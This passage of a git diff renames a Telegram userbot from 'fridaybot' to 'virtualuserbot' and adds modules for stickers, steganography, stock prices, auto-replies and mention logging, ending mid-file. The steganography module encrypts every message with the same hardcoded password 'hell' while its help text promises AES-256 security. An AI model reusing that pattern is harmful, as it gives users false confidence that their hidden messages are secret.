Boolean, Column, String, UnicodeText -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION class Welcome(BASE): diff --git a/fridaybot/modules/sql_helper/welcomesql.py b/virtualuserbot/modules/sql_helper/welcomesql.py similarity index 96% rename from fridaybot/modules/sql_helper/welcomesql.py rename to virtualuserbot/modules/sql_helper/welcomesql.py index b2503711..d1fecad4 100644 --- a/fridaybot/modules/sql_helper/welcomesql.py +++ b/virtualuserbot/modules/sql_helper/welcomesql.py @@ -1,6 +1,7 @@ -from fridaybot.modules.sql_helper import BASE, SESSION from sqlalchemy import BigInteger, Column, Numeric, String, UnicodeText +from virtualuserbot.modules.sql_helper import BASE, SESSION + class JoinWelcome(BASE): __tablename__ = "joinwelcome" diff --git a/virtualuserbot/modules/ssvideo.py b/virtualuserbot/modules/ssvideo.py new file mode 100644 index 00000000..16276fc7 --- /dev/null +++ b/virtualuserbot/modules/ssvideo.py @@ -0,0 +1,73 @@ +# Copyright (C) 2020 Alfiananda P.A +# +# Licensed under the Raphielscape Public License, Version 1.d (the "License"); +# you may not use this file except in compliance with the License. +# +# Reconfigured for Virtualuserbot +import asyncio +import os +import time + +from telethon.tl.types import DocumentAttributeFilename + +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.events import register +from virtualuserbot.function import progress + + +@register(outgoing=True, pattern=r"^\.ssvideo(?: |$)(.*)") +async def ssvideo(framecap): + if not framecap.reply_to_msg_id: + return await framecap.edit("`reply to video!`") + reply_message = await framecap.get_reply_message() + if not reply_message.media: + return await framecap.edit("`reply to a video!`") + try: + frame = int(framecap.pattern_match.group(1)) + if frame > 10: + return await framecap.edit("`hey..dont put that much`") + except BaseException: + return await framecap.edit("`Please input number of frame!`") + if ( + reply_message.photo + or ( + DocumentAttributeFilename(file_name="AnimatedSticker.tgs") + in reply_message.media.document.attributes + ) + or ( + DocumentAttributeFilename(file_name="sticker.webp") + in reply_message.media.document.attributes + ) + ): + return await framecap.edit("`Unsupported files!`") + c_time = time.time() + await framecap.edit("`Downloading media...`") + ss = await bot.download_media( + reply_message, + "anu.mp4", + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, framecap, c_time, "[DOWNLOAD]") + ), + ) + try: + await framecap.edit("`Proccessing...`") + command = f"vcsi -g {frame}x{frame} {ss} -o ss.png " + os.system(command) + await framecap.client.send_file( + framecap.chat_id, + "ss.png", + reply_to=framecap.reply_to_msg_id, + ) + await framecap.delete() + except BaseException as e: + await framecap.edit(f"{e}") + os.system("rm -rf *.png *.mp4") + + +CMD_HELP.update( + { + "ssvideo": "`.ssvideo` " + "\nUsage: Capture video frames by x ." + "\n*max grid is 10." + } +) diff --git a/fridaybot/modules/stats.py b/virtualuserbot/modules/stats.py similarity index 96% rename from fridaybot/modules/stats.py rename to virtualuserbot/modules/stats.py index 3cd35331..899abbf0 100644 --- a/fridaybot/modules/stats.py +++ b/virtualuserbot/modules/stats.py @@ -3,7 +3,7 @@ from telethon.tl.types import Channel, Chat, User from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP, bot +from virtualuserbot import CMD_HELP, bot @bot.on(friday_on_cmd(pattern=r"stats")) diff --git a/virtualuserbot/modules/steganography.py b/virtualuserbot/modules/steganography.py new file mode 100644 index 00000000..6556271e --- /dev/null +++ b/virtualuserbot/modules/steganography.py @@ -0,0 +1,82 @@ +import os + +from cryptosteganography import CryptoSteganography +from telethon.tl.types import MessageMediaPhoto + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd + +sedpath = "./fridaydevs/" +if not os.path.isdir(sedpath): + os.makedirs(sedpath) + + +@friday.on(friday_on_cmd(pattern=r"stegano ?(.*)")) +@friday.on(sudo_cmd(pattern=r"stegano ?(.*)", allow_sudo=True)) +async def hmm(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + await event.edit("hmm... Hiding Text Inside Image...") + sed = await event.get_reply_message() + if isinstance(sed.media, MessageMediaPhoto): + img = await borg.download_media(sed.media, sedpath) + elif "image" in sed.media.document.mime_type.split("/"): + img = await borg.download_media(sed.media, sedpath) + else: + await event.edit("Reply To Image") + return + text = event.pattern_match.group(1) + if not text: + await event.edit("No input found! --__--") + return + crypto_steganography = CryptoSteganography("hell") + crypto_steganography.hide(img, "./fridaydevs/stegano.png", text) + file_name = "stegano.png" + ok = "./fridaydevs/" + file_name + await borg.send_file( + event.chat_id, + ok, + force_document=True, + allow_cache=False, + ) + for files in (ok, img): + if files and os.path.exists(files): + os.remove(files) + + +@friday.on(friday_on_cmd(pattern=r"unstegano")) +@friday.on(sudo_cmd(pattern=r"unstegano", allow_sudo=True)) +async def hmm(event): + if not event.reply_to_msg_id: + await event.reply("Reply to any Image.") + return + await event.edit("hmm... Searching for Text Inside The Image...") + sed = await event.get_reply_message() + if isinstance(sed.media, MessageMediaPhoto): + img = await borg.download_media(sed.media, sedpath) + elif "image" in sed.media.document.mime_type.split("/"): + img = await borg.download_media(sed.media, sedpath) + else: + await event.edit("Reply To Image") + return + crypto_steganography = CryptoSteganography("hell") + secret = crypto_steganography.retrieve(img) + + await event.edit( + f"Decrypted Text Successfully \ntext:- {secret}", + parse_mode="HTML", + ) + + +CMD_HELP.update( + { + "steganography": "**Steganography**\ +\n\n**Syntax : **`.stegano `\ +\n**Usage :** Hides Given Text Inside Image.\ +\n\n**Syntax : **`.unstegano `\ +\n**Usage :** Reveals Hidden Text From Image.\ +\n\n**Example :** `.stegano hello this is secret message` .\ +\n\n**What is Steganography :** Steganography is the art and science of writing hidden messages in such a way that no one, apart from the sender and intended recipient, suspects the existence of the message, a form of security through obscurity. Additionally this plugin also enhance the security of the steganography through data encryption. The data concealed is encrypted using AES 256 encryption, a popular algorithm used in symmetric key cryptography." + } +) diff --git a/fridaybot/modules/stickcreater.py b/virtualuserbot/modules/stickcreater.py similarity index 96% rename from fridaybot/modules/stickcreater.py rename to virtualuserbot/modules/stickcreater.py index 261ebdf5..257b91b8 100644 --- a/fridaybot/modules/stickcreater.py +++ b/virtualuserbot/modules/stickcreater.py @@ -11,8 +11,8 @@ from PIL import Image, ImageDraw, ImageFont from telethon.tl.types import InputMessagesFilterDocument -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd # RegEx by https://t.me/c/1220993104/500653 ( @SnapDragon7410 ) @@ -37,7 +37,7 @@ async def sticklet(event): return if event.reply_to_msg_id: reply_message = await event.get_reply_message() - # delete the fridaybot command, + # delete the virtualuserbot command, # i don't know why this is required await event.delete() # https://docs.python.org/3/library/textwrap.html#textwrap.wrap @@ -94,7 +94,7 @@ async def sticklet(event): return if event.reply_to_msg_id: reply_message = await event.get_reply_message() - # delete the fridaybot command, + # delete the virtualuserbot command, # i don't know why this is required await event.delete() # https://docs.python.org/3/library/textwrap.html#textwrap.wrap diff --git a/fridaybot/modules/sticker_2.py b/virtualuserbot/modules/sticker_2.py similarity index 99% rename from fridaybot/modules/sticker_2.py rename to virtualuserbot/modules/sticker_2.py index 681cee3f..90ed8bae 100644 --- a/fridaybot/modules/sticker_2.py +++ b/virtualuserbot/modules/sticker_2.py @@ -24,10 +24,19 @@ from PIL import Image, ImageDraw, ImageFont, ImageOps from telethon.tl import functions, types -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd COLORS = [ - "#F07975", "#F49F69", "#F9C84A", "#8CC56E", "#6CC7DC", "#80C1FA", "#BCB3F9", "#E181AC"] + "#F07975", + "#F49F69", + "#F9C84A", + "#8CC56E", + "#6CC7DC", + "#80C1FA", + "#BCB3F9", + "#E181AC", +] + class Quote: async def process(msg, user, client, reply, replied=None): diff --git a/fridaybot/modules/stickerchat.py b/virtualuserbot/modules/stickerchat.py similarity index 97% rename from fridaybot/modules/stickerchat.py rename to virtualuserbot/modules/stickerchat.py index 9304269a..9b335991 100644 --- a/fridaybot/modules/stickerchat.py +++ b/virtualuserbot/modules/stickerchat.py @@ -1,4 +1,4 @@ -# Friendly Telegram (telegram fridaybot) +# Friendly Telegram (telegram virtualuserbot) # Copyright (C) 2018-2019 The Authors # This program is free software: you can redistribute it and/or modify @@ -86,14 +86,14 @@ async def quotecmd(message): # noqa: C901 return await message.respond(strings["no_template"]) username_color = username = admintitle = user_id = None - profile_photo_url = reply.from_id + profile_photo_url = reply.sender_id admintitle = "" if isinstance(message.to_id, telethon.tl.types.PeerChannel): try: user = await client( telethon.tl.functions.channels.GetParticipantRequest( - message.chat_id, reply.from_id + message.chat_id, reply.sender_id ) ) if isinstance( @@ -113,7 +113,7 @@ async def quotecmd(message): # noqa: C901 ) participants = chat.full_chat.participants.participants participant = next( - filter(lambda x: x.user_id == reply.from_id, participants), None + filter(lambda x: x.user_id == reply.sender_id, participants), None ) if isinstance(participant, telethon.tl.types.ChatParticipantCreator): admintitle = strings["creator"] @@ -124,7 +124,7 @@ async def quotecmd(message): # noqa: C901 user = await reply.get_sender() username = telethon.utils.get_display_name(user) - user_id = reply.from_id + user_id = reply.sender_id if reply.fwd_from: if reply.fwd_from.saved_from_peer: diff --git a/fridaybot/modules/stickers.py b/virtualuserbot/modules/stickers.py similarity index 89% rename from fridaybot/modules/stickers.py rename to virtualuserbot/modules/stickers.py index 51391435..913312eb 100644 --- a/fridaybot/modules/stickers.py +++ b/virtualuserbot/modules/stickers.py @@ -9,7 +9,6 @@ import os import zipfile from collections import defaultdict -from io import BytesIO from PIL import Image from telethon.errors import MessageNotModifiedError @@ -22,8 +21,13 @@ MessageMediaPhoto, ) -from fridaybot import ALIVE_NAME, CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import ALIVE_NAME, CMD_HELP +from virtualuserbot.function import convert_to_image +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + +sedpath = Config.TMP_DOWNLOAD_DIRECTORY +if not os.path.isdir(sedpath): + os.makedirs(sedpath) DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Who is this" FILLED_UP_DADDY = "Invalid pack selected." @@ -41,7 +45,7 @@ async def _(event): await moods.edit("Reply to a photo to add to my personal sticker pack.") return reply_message = await event.get_reply_message() - sticker_emoji = "😎" + sticker_emoji = await get_sticker_emoji(event) input_str = event.pattern_match.group(1) if input_str: sticker_emoji = input_str @@ -53,42 +57,25 @@ async def _(event): user.username = user.id pack = 1 userid = event.sender_id - # packname = f"FRIDAY PACK" - # packshortname = f"FRIDAY_{userid}_ns" # format: Uni_Borg_userid - if userid == 1263617196: - packname = f"@StarkGang Packs 🎭" - packshortname = "StarkGangPack" - else: - packname = f"@{user.username} KangPack {pack}" - packshortname = f"FRIDAY_{userid}_Pack" + packname = f"@{user.username} KangPack {pack}" + packshortname = f"VirtualUserbot_{userid}_Pack" await moods.edit("`This Sticker is Gonna Get Stolen.....`") - is_a_s = is_it_animated_sticker(reply_message) - file_ext_ns_ion = "@FRIDAYOT.png" - file = await borg.download_file(reply_message.media) + file_ext_ns_ion = "@VirtualUserbot.png" uploaded_sticker = None if is_a_s: + file = await borg.download_file(reply_message.media) file_ext_ns_ion = "AnimatedSticker.tgs" uploaded_sticker = await borg.upload_file(file, file_name=file_ext_ns_ion) - if userid == 813878981: - packname = f"StarkGang Ka Pack" - packshortname = "StarkGangisgreat" - else: - packname = f"@{user.username} KangPack {pack}" - packshortname = f"FRIDAY_{userid}" # format: Uni_Borg_userid - elif not is_message_image(reply_message): - await moods.edit("Invalid message type") - return + packname = f"@{user.username} KangPack {pack}" + packshortname = f"VirtualUserbot_{userid}" # format: Uni_Borg_userid else: - with BytesIO(file) as mem_file, BytesIO() as sticker: - resize_image(mem_file, sticker) - sticker.seek(0) - uploaded_sticker = await borg.upload_file( - sticker, file_name=file_ext_ns_ion - ) - + sticker = await convert_to_image(event, borg) + resize_image(sticker) + ok = sedpath + "/" + "@FridayOT.png" + uploaded_sticker = await borg.upload_file(ok, file_name=file_ext_ns_ion) + os.remove(sticker) await moods.edit("`Inviting This Sticker To Your Pack 🚶`") - async with borg.conversation("@Stickers") as bot_conv: now = datetime.datetime.now() dt = now + datetime.timedelta(minutes=1) @@ -135,12 +122,6 @@ async def _(event): prevv = int(pack) - 1 packname = f"{user.username}'s {pack}" packshortname = f"Vol_{pack}_with_{user.username}" - # if userid == 948408212: - # packname = f"{user.username}'s {pack}" - # packshortname = "Vol._{pack}_FRIDAY_ke_locker_me" - # else: - # packname = f"Vol._{pack}_FRIDAY{userid}" - # packshortname = f"Vol._{pack}_Friday_{userid}_ns" if not await stickerset_exists(bot_conv, packshortname): await moods.edit( "**Pack No. **" @@ -220,6 +201,7 @@ async def _(event): await moods.edit( f"`This Sticker Has Came To Your Pack.` \n**Check It Out** [Here](t.me/addstickers/{packshortname})" ) + os.remove(sedpath + "/" + "@VirtualUserbot.png") @friday.on(friday_on_cmd(pattern="packinfo")) @@ -407,7 +389,7 @@ async def stickerset_exists(conv, setname): return False -def resize_image(image, save_locaton): +def resize_image(image): """Copyright Rhyse Simpson: https://github.com/skittles9823/SkittBot/blob/master/tg_bot/modules/stickers.py """ @@ -430,7 +412,9 @@ def resize_image(image, save_locaton): im = im.resize(sizenew) else: im.thumbnail(maxsize) - im.save(save_locaton, "PNG") + file_name = "@FridayOT.png" + ok = sedpath + "/" + file_name + im.save(ok, "PNG") def progress(current, total): @@ -448,6 +432,15 @@ def find_instance(items, class_or_tuple): return None +async def get_sticker_emoji(event): + reply_message = await event.get_reply_message() + try: + final_emoji = reply_message.media.document.attributes[1].alt + except: + final_emoji = "😎" + return final_emoji + + def zipdir(path, ziph): # ziph is zipfile handle for root, dirs, files in os.walk(path): diff --git a/fridaybot/modules/quotly.py b/virtualuserbot/modules/stickertoimage.py similarity index 51% rename from fridaybot/modules/quotly.py rename to virtualuserbot/modules/stickertoimage.py index 0dce4370..e553ada8 100644 --- a/fridaybot/modules/quotly.py +++ b/virtualuserbot/modules/stickertoimage.py @@ -1,14 +1,16 @@ -"""QuotLy: Avaible commands: .qbot +# Written By Inuka Asith for VirtualUserbbot +# VirtualUserbot 2021 + +""" +Avaible commands: .stickertoimage """ from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError -from fridaybot import CMD_HELP, bot -from fridaybot.utils import friday_on_cmd +from ..utils import admin_cmd -# @register(outgoing=True, pattern="^.q(?: |$)(.*)") -@friday.on(friday_on_cmd(pattern=r"qbot(?: |$)(.*)")) +@borg.on(admin_cmd(pattern="stickertoimage ?(.*)")) async def _(event): if event.fwd_from: return @@ -16,21 +18,24 @@ async def _(event): await event.edit("```Reply to any user message.```") return reply_message = await event.get_reply_message() - chat = "@QuotLyBot" + if not reply_message.media: + await event.edit("```Reply to sticker message```") + return + chat = "@DownloadStickersBot" reply_message.sender if reply_message.sender.bot: await event.edit("```Reply to actual users message.```") return - await event.edit("```Making a Quote```") - async with bot.conversation(chat) as conv: + await event.edit("```Making a sticker to image```") + async with event.client.conversation(chat) as conv: try: response = conv.wait_event( - events.NewMessage(incoming=True, from_users=1031952739) + events.NewMessage(incoming=True, from_users=658563529) ) - await bot.forward_messages(chat, reply_message) + await event.client.forward_messages(chat, reply_message) response = await response except YouBlockedUserError: - await event.reply("```Please unblock @QuotLyBot and try again```") + await event.reply("```Please unblock me (@DownloadStickersBot) ```") return if response.text.startswith("Hi!"): await event.edit( @@ -38,13 +43,4 @@ async def _(event): ) else: await event.delete() - await bot.forward_messages(event.chat_id, response.message) - - -CMD_HELP.update( - { - "quotly": "**Quotly**\ -\n\n**Syntax : **`.qbot media `\ -\n**Usage :** you will get quoted message." - } -) + await event.client.send_message(event.chat_id, response.message) diff --git a/virtualuserbot/modules/sticklet.py b/virtualuserbot/modules/sticklet.py new file mode 100644 index 00000000..e4ed7929 --- /dev/null +++ b/virtualuserbot/modules/sticklet.py @@ -0,0 +1,85 @@ +""" +Command - .sticklet +Make sticker of text with random colour and font. +""" + +import io +import os +import random +import textwrap + +from PIL import Image, ImageDraw, ImageFont +from telethon.tl.types import InputMessagesFilterDocument + +from ..utils import admin_cmd + + +@borg.on(admin_cmd(pattern="sticklet (.*)")) +async def sticklet(event): + R = random.randint(0, 256) + G = random.randint(0, 256) + B = random.randint(0, 256) + + # get the input text + # the text on which we would like to do the magic on + sticktext = event.pattern_match.group(1) + + # delete the userbot command, + await event.delete() + + # https://docs.python.org/3/library/textwrap.html#textwrap.wrap + sticktext = textwrap.wrap(sticktext, width=10) + # converts back the list to a string + sticktext = "\n".join(sticktext) + + image = Image.new("RGBA", (512, 512), (255, 255, 255, 0)) + draw = ImageDraw.Draw(image) + fontsize = 230 + + FONT_FILE = await get_font_file(event.client, "@FontHub") + + font = ImageFont.truetype(FONT_FILE, size=fontsize) + + while draw.multiline_textsize(sticktext, font=font) > (512, 512): + fontsize -= 3 + font = ImageFont.truetype(FONT_FILE, size=fontsize) + + width, height = draw.multiline_textsize(sticktext, font=font) + draw.multiline_text( + ((512 - width) / 2, (512 - height) / 2), sticktext, font=font, fill=(R, G, B) + ) + + image_stream = io.BytesIO() + image_stream.name = "leobrownlee.webp" + image.save(image_stream, "WebP") + image_stream.seek(0) + + # finally, reply the sticker + await event.client.send_message( + event.chat_id, + "{}".format(sticktext), + file=image_stream, + reply_to=event.message.reply_to_msg_id, + ) + + # cleanup + try: + os.remove(FONT_FILE) + except: + pass + + +async def get_font_file(client, channel_id): + # first get the font messages + font_file_message_s = await client.get_messages( + entity=channel_id, + filter=InputMessagesFilterDocument, + # this might cause FLOOD WAIT, + # if used too many times + limit=None, + ) + # get a random font from the list of fonts + # https://docs.python.org/3/library/random.html#random.choice + font_file_message = random.choice(font_file_message_s) + # download and return the file path + return await client.download_media(font_file_message) diff --git a/virtualuserbot/modules/stock_price.py b/virtualuserbot/modules/stock_price.py new file mode 100644 index 00000000..809d6ba5 --- /dev/null +++ b/virtualuserbot/modules/stock_price.py @@ -0,0 +1,49 @@ +import requests +from yahoo_fin import stock_info as si + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="liveprice (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + try: + a = si.get_live_price(input_str) + + def get_symbol(symbol): + url = "http://d.yimg.com/autoc.finance.yahoo.com/autoc?query={}®ion=1&lang=en".format( + symbol + ) + result = requests.get(url).json() + for x in result["ResultSet"]["Result"]: + if x["symbol"] == symbol: + return x["name"] + + lmao = input_str.upper() + company = get_symbol(lmao) + if company == None: + await event.edit( + f"Stock Information Gathered Successfully \n\nLive Price of {lmao} is:- $ {a} USD", + parse_mode="HTML", + ) + else: + await event.edit( + f"Stock Information Gathered Successfully \n\nLive Price of {company} is:- $ {a} USD", + parse_mode="HTML", + ) + except AssertionError: + await event.edit("There Is No Such Ticker.") + + +CMD_HELP.update( + { + "stock_price": "**Stock Price**\ +\n\n**Syntax : **`.liveprice `\ +\n**Usage :** Shows Live Price Of Given Shares.\ +\n\n**Example : **`.liveprice tsla`\ +\nThis above syntax shows Tesla's share price in USD." + } +) diff --git a/fridaybot/modules/stt.py b/virtualuserbot/modules/stt.py similarity index 97% rename from fridaybot/modules/stt.py rename to virtualuserbot/modules/stt.py index 5d7b702a..aa520827 100644 --- a/fridaybot/modules/stt.py +++ b/virtualuserbot/modules/stt.py @@ -5,8 +5,8 @@ import requests -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="stt (.*)")) diff --git a/virtualuserbot/modules/study.py b/virtualuserbot/modules/study.py new file mode 100644 index 00000000..1df1a114 --- /dev/null +++ b/virtualuserbot/modules/study.py @@ -0,0 +1,138 @@ +import asyncio +import datetime + +from telethon import events +from telethon.tl import functions, types + +from virtualuserbot import ALIVE_NAME + +from ..utils import admin_cmd + +global USER_night # pylint:disable=E0602 +global night_time # pylint:disable=E0602 +global last_night_message # pylint:disable=E0602 +USER_night = {} +night_time = None +last_night_message = {} + +DEFAULTUSER = ( + str(ALIVE_NAME) if ALIVE_NAME else "Set ALIVE_NAME in config vars in Heroku" +) + + +@borg.on(events.NewMessage(outgoing=True)) # pylint:disable=E0602 +async def set_not_night(event): + global USER_night # pylint:disable=E0602 + global night_time # pylint:disable=E0602 + global last_night_message # pylint:disable=E0602 + current_message = event.message.message + if ".night" not in current_message and "yes" in USER_night: # pylint:disable=E0602 + try: + await borg.send_message( # pylint:disable=E0602 + Var.PLUGIN_CHANNEL, # pylint:disable=E0602 + "Mine Owner has Gone Study `Please Don't Disturb`", + ) + except Exception as e: # pylint:disable=C0103,W0703 + await borg.send_message( # pylint:disable=E0602 + event.chat_id, + "Please set `PLUGIN_CHANNEL` " + + "for the proper functioning of study functionality " + + "in @blacklightningot \n\n `{}`".format(str(e)), + reply_to=event.message.id, + silent=True, + ) + USER_night = {} # pylint:disable=E0602 + night_time = None # pylint:disable=E0602 + + +@borg.on(admin_cmd(pattern=r"study ?(.*)")) +async def _(event): + if event.fwd_from: + return + global USER_night # pylint:disable=E0602 + global night_time # pylint:disable=E0602 + global last_night_message # pylint:disable=E0602 + global reason + USER_night = {} + night_time = None + last_night_message = {} + reason = event.pattern_match.group(1) + if not USER_night: # pylint:disable=E0602 + last_seen_status = await borg( # pylint:disable=E0602 + functions.account.GetPrivacyRequest(types.InputPrivacyKeyStatusTimestamp()) + ) + if isinstance(last_seen_status.rules, types.PrivacyValueAllowAll): + night_time = datetime.datetime.now() # pylint:disable=E0602 + USER_night = f"yes: {reason}" # pylint:disable=E0602 + if reason: + await event.edit(f"My Boss Is Going To study Dnd ") + else: + await event.edit(f"My Boss is Going To study") + await asyncio.sleep(5) + await event.delete() + try: + await borg.send_message( # pylint:disable=E0602 + Var.PLUGIN_CHANNEL, f"My BOSS Wants So Study" # pylint:disable=E0602 + ) + except Exception as e: # pylint:disable=C0103,W0703 + logger.warn(str(e)) # pylint:disable=E0602 + + +@borg.on( + events.NewMessage( # pylint:disable=E0602 + incoming=True, func=lambda e: bool(e.mentioned or e.is_private) + ) +) +async def on_night(event): + if event.fwd_from: + return + global USER_night # pylint:disable=E0602 + global night_time # pylint:disable=E0602 + global last_night_message # pylint:disable=E0602 + night_since = "**a while ago**" + current_message_text = event.message.message.lower() + if "night" in current_message_text: + # userbot's should not reply to other userbot's + # https://core.telegram.org/bots/faq#why-doesn-39t-my-bot-see-messages-from-other-bots + return False + if USER_night and not (await event.get_sender()).bot: # pylint:disable=E0602 + if night_time: # pylint:disable=E0602 + now = datetime.datetime.now() + datime_since_night = now - night_time # pylint:disable=E0602 + time = float(datime_since_night.seconds) + days = time // (24 * 3600) + time = time % (24 * 3600) + hours = time // 3600 + time %= 3600 + minutes = time // 60 + time %= 60 + seconds = time + if days == 1: + night_since = "**Yesterday**" + elif days > 1: + if days > 6: + date = now + datetime.timedelta( + days=-days, hours=-hours, minutes=-minutes + ) + night_since = date.strftime("%A, %Y %B %m, %H:%I") + else: + wday = now + datetime.timedelta(days=-days) + night_since = wday.strftime("%A") + elif hours > 1: + night_since = f"`{int(hours)}h{int(minutes)}m` **ago**" + elif minutes > 0: + night_since = f"`{int(minutes)}m{int(seconds)}s` **ago**" + else: + night_since = f"`{int(seconds)}s` **ago**" + msg = None + message_to_reply = ( + f"My Master Has Been Gone For {night_since}\nWhere He Is: **Studing** " + + f"\n\n__ I'll back in a few Light years__\n**" + if reason + else f"**Important Notice**\n\n[{DEFAULTUSER} Is Studying And Also Trying to win the Future...](https://telegra.ph/file/2512147bc1e2d4ae27922.mp4) " + ) + msg = await event.reply(message_to_reply) + await asyncio.sleep(5) + if event.chat_id in last_night_message: # pylint:disable=E0602 + await last_night_message[event.chat_id].delete() # pylint:disable=E0602 + last_night_message[event.chat_id] = msg # pylint:disable=E0602 diff --git a/virtualuserbot/modules/superheroes.py b/virtualuserbot/modules/superheroes.py new file mode 100644 index 00000000..0ddd9e3e --- /dev/null +++ b/virtualuserbot/modules/superheroes.py @@ -0,0 +1,123 @@ +# Copyright (C) @chsaiujwal 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +import requests + +from virtualuserbot.Configs import Config +from virtualuserbot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="hero (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + url = "https://superhero-search.p.rapidapi.com/" + querystring = {"hero": input_str} + if Config.SUPERHERO_API_KEY is None: + await event.edit( + "Need to get an API key from https://rapidapi.com/jakash1997/api/superhero-search\nModule stopping!" + ) + return + await event.edit("Processing Your Request.") + inputo = Config.SUPERHERO_API_KEY + + headers = { + "x-rapidapi-key": inputo, + "x-rapidapi-host": "superhero-search.p.rapidapi.com", + } + + response = requests.request("GET", url, headers=headers, params=querystring) + a = response.json() + b = a.get("name") + c = a.get("id") + d = a.get("slug") + e = a.get("powerstats") + intelligence = str(e.get("intelligence")) + strength = str(e.get("strength")) + speed = str(e.get("speed")) + durability = str(e.get("durability")) + power = str(e.get("power")) + combact = str(e.get("combact")) + f = a.get("appearance") + lol = str(f.get("gender")) + lul = str(f.get("race")) + hm = f.get("height") + inch = str(hm[0]) + cm = str(hm[1]) + # What are you doing in our code? + + weiGht = f.get("weight") + lb = str(weiGht[0]) + kg = str(weiGht[1]) + eye = str(f.get("eyeColor")) + hair = str(f.get("hairColor")) + bio = a.get("biography") + # Hey Kanger, Don't you dare Kamg this. + + fullName = str(bio.get("fullName")) + ego = str(bio.get("alterEgos")) + aliase = bio.get("aliases") + sedo = "" + # Messi Is The Best. + for messi in aliase: + sedo += messi + " " + + PoB = str(bio.get("placeOfBirth")) + sed = str(sedo) + + firsT = str(bio.get("firstAppearance")) + + alignment = str(bio.get("alignment")) + + imoge = a.get("images") + res = list(imoge.keys())[3] + linke = str(res) + link = str(imoge.get(linke)) + fcb = input_str.upper() + + caption = f""" {fcb} STATS +Name:- : {b} +Id:- : {c} +Slug:- : {d} +Power Stats +Intelligence:- : {intelligence} +Strength:- : {strength} +Speed:- : {speed} +Durability:- : {durability} +Power:- : {power} +Combact:- : {combact} +Appearance +Gender:- : {lol} +Race:- : {lul} +Height:- : {inch} {cm} +Weight:- : {lb} {kg} +Eye Colour:- : {eye} +Hair Colour:- : {hair} +Biography +Full Name:- : {fullName} +Alter Egos:- : {ego} +Aliases:- : {sed} +Place Of Birth:- : {PoB} +First Appearance:- : {firsT} +alignment:- : {alignment} +""" + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + file=link, + force_document=False, + silent=True, + ) + await event.delete() diff --git a/virtualuserbot/modules/superstar.py b/virtualuserbot/modules/superstar.py new file mode 100644 index 00000000..ee72a7de --- /dev/null +++ b/virtualuserbot/modules/superstar.py @@ -0,0 +1,37 @@ +"""command:.sr""" + +import asyncio + +from telethon import events + + +@borg.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) +async def _(event): + + if event.fwd_from: + + return + + animation_interval = 2 + + animation_ttl = range(0, 11) + + input_str = event.pattern_match.group(1) + + if input_str == "star": + + await event.edit(input_str) + + animation_chars = [ + "I Party like a rockstar", + "I Look like a movie star", + "I Play like an all star", + "I Fuck like a pornstar", + "Baby I'm a superstar", + ] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 11]) diff --git a/fridaybot/modules/supportgroup.py b/virtualuserbot/modules/supportgroup.py similarity index 90% rename from fridaybot/modules/supportgroup.py rename to virtualuserbot/modules/supportgroup.py index 0352ff39..51f9b5cb 100644 --- a/fridaybot/modules/supportgroup.py +++ b/virtualuserbot/modules/supportgroup.py @@ -7,8 +7,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("infinityje")) diff --git a/virtualuserbot/modules/tag.py b/virtualuserbot/modules/tag.py new file mode 100644 index 00000000..429e514e --- /dev/null +++ b/virtualuserbot/modules/tag.py @@ -0,0 +1,75 @@ +# (c) Shrimadhav U K +# +# This file is part of @UniBorg +# +# @UniBorg is free software; you cannot redistribute it and/or modify +# it under the terms of the GNU General Public License as published +# by the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# @UniBorg is not distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# Modified to suit needs, by @its_xditya + + +from telethon import custom, events +from telethon.tl.types import Channel +from telethon.utils import get_display_name + +NEEDLOG = int(Config.TAG_LOG) if Config.TAG_LOG else (Var.TG_BOT_USER_NAME_BF_HER) +if Config.TAG_LOG: + NEEDTOLOG = int(Config.TAG_LOG) + +if Config.TAG_LOG: + + @borg.on( + events.NewMessage( + incoming=True, + blacklist_chats=Config.UB_BLACK_LIST_CHAT, + func=lambda e: (e.mentioned), + ) + ) + async def all_messages_catcher(event): + # the bot might not have the required access_hash to mention the + # appropriate PM + await event.forward_to(NEEDLOG) + + # construct message + # the message format is stolen from @MasterTagAlertBot + + ammoca_message = "" + + who_ = await event.client.get_entity(event.sender_id) + if who_.bot or who_.verified or who_.support: + return + + who_m = f"[{get_display_name(who_)}](tg://user?id={who_.id})" + + where_ = 